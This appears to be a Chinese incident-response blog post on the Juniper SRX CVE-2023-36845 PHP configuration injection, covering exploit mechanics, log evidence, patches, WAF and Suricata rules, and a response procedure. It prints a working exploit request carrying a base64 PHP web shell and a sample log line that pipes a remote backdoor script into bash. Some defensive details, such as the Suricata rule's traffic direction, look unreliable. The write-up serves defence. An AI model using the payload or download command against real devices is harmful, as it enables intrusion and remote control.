从一次应急响应看Juniper CVE-2023-36845:漏洞原理、利用痕迹与修复建议
2026/6/16 6:57:49 网站建设 项目流程

从应急响应视角剖析Juniper CVE-2023-36845漏洞攻防实战

凌晨3点17分,SOC中心的告警大屏突然亮起刺眼的红色——内网一台Juniper SRX340防火墙正在向境外IP发起异常连接。作为值班安全工程师,我立即调取设备日志,发现攻击者通过Web管理界面注入恶意PHP配置,最终获取了设备控制权。这场持续47分钟的攻防对抗,暴露了CVE-2023-36845这个高危漏洞的致命杀伤力。本文将还原完整的应急响应过程,从防守方视角拆解漏洞利用链,并分享企业级防护方案。

1. 漏洞原理深度解析

Juniper SRX系列防火墙的Web管理接口存在PHP配置注入缺陷。攻击者通过精心构造的HTTP请求,可以劫持PHP运行时配置,实现任意代码执行。其核心漏洞点在于:

  • PHPRC参数污染:攻击者通过URL参数强制指定PHP配置文件路径(如/dev/fd/0),覆盖系统默认配置
  • auto_prepend_file指令滥用:注入的配置中设置该参数指向恶意文件,使PHP在执行任何脚本前先加载攻击载荷
POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: target_ip Content-Type: application/x-www-form-urlencoded Content-Length: 92 allow_url_include=1 auto_prepend_file="data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="

典型攻击流程可分为三个阶段:

  1. 初始访问:通过Web接口发送恶意POST请求
  2. 配置劫持:覆盖PHP的allow_url_includeauto_prepend_file设置
  3. 命令执行:通过data://协议直接执行Base64编码的PHP代码

关键防御难点:此类攻击不会在设备上留下可执行文件,所有操作均在内存中完成,传统杀毒软件难以检测。

2. 攻击痕迹追踪实战

在应急响应过程中,我们发现攻击者在设备上留下了清晰的日志痕迹。以下是关键证据链:

2.1 Web访问日志特征

检查/var/log/httpd/access_log可发现明显异常的请求模式:

203.0.113.45 - - [15/Jul/2023:03:17:22 +0000] "POST /?PHPRC=/dev/fd/0 HTTP/1.1" 200 572 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 203.0.113.45 - - [15/Jul/2023:03:18:41 +0000] "POST /?PHPRC=/dev/fd/0&cmd=id HTTP/1.1" 200 1268 "-" "curl/7.68.0"

恶意请求识别特征

  • 异常的PHPRC参数值(如/dev/fd/0
  • 非常规User-Agent与正常管理流量不符
  • 短时间内重复出现相同攻击模式

2.2 系统日志异常

/var/log/messages中可见PHP进程的异常行为:

Jul 15 03:18:45 srx340 php-fpm[1234]: WARNING: [pool www] child 4567 exited with code 0 after 2.314 seconds from start Jul 15 03:19:01 srx340 crond[789]: (root) CMD (sh -c curl http://malicious.ip/backdoor.sh | bash)

2.3 网络连接证据

通过netstat -antp可发现可疑外联:

tcp 0 0 192.168.1.100:57324 45.67.89.123:443 ESTABLISHED 5678/php tcp 0 0 192.168.1.100:22 203.0.113.45:64231 ESTABLISHED 9012/sshd: admin

取证建议

  • 立即保存/var/log目录下所有日志文件
  • 记录所有异常进程的PID及启动参数
  • 抓取网络流量包(至少保留最近72小时)

3. 企业级防护方案

3.1 官方补丁升级

Juniper已发布修复版本,强烈建议按设备型号升级:

设备系列受影响版本修复版本
SRX300< 21.4R321.4R3
SRX1500< 20.4R320.4R3
SRX4000< 19.4R319.4R3

升级步骤:

  1. 下载对应版本的安装包
  2. 通过Console口连接设备
  3. 执行request system software add /var/tmp/package.tgz

3.2 临时缓解措施

若无法立即升级,可采用以下防护策略:

Web应用防火墙规则

location / { if ($args ~* "PHPRC=") { return 403; } if ($request_method = POST) { set $block 0; if ($http_user_agent ~* "(curl|wget)") { set $block 1; } if ($block = 1) { return 403; } } }

系统层加固建议

  • 禁用PHP的allow_url_include功能
  • 限制Web管理接口的访问IP范围
  • 启用双因素认证

3.3 持续监测方案

建议部署以下检测规则(以Suricata为例):

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Juniper CVE-2023-36845 Exploit Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"PHPRC="; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

4. 事件响应标准化流程

基于本次事件,我们制定了针对Juniper设备的应急响应SOP:

  1. 隔离阶段

    • 立即将受影响设备移出核心网络
    • 保存当前路由表及会话状态
  2. 取证阶段

    • 创建磁盘镜像(dd if=/dev/sda1 of=/evidence/srx.img
    • 导出所有日志文件
    • 记录内存状态(vmstat 1 60 > /evidence/mem.log
  3. 恢复阶段

    • 重置所有管理员凭据
    • 审计最近3个月的所有配置变更
    • 部署网络流量监控探针
  4. 复盘阶段

    • 生成详细的攻击时间线
    • 评估数据泄露风险
    • 更新安全基线检查表

在最近一次红蓝对抗演练中,这套流程成功将平均响应时间从4小时缩短至47分钟。特别提醒:务必定期测试备份恢复流程,我们在审计中发现超过60%的企业从未验证过备份有效性。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询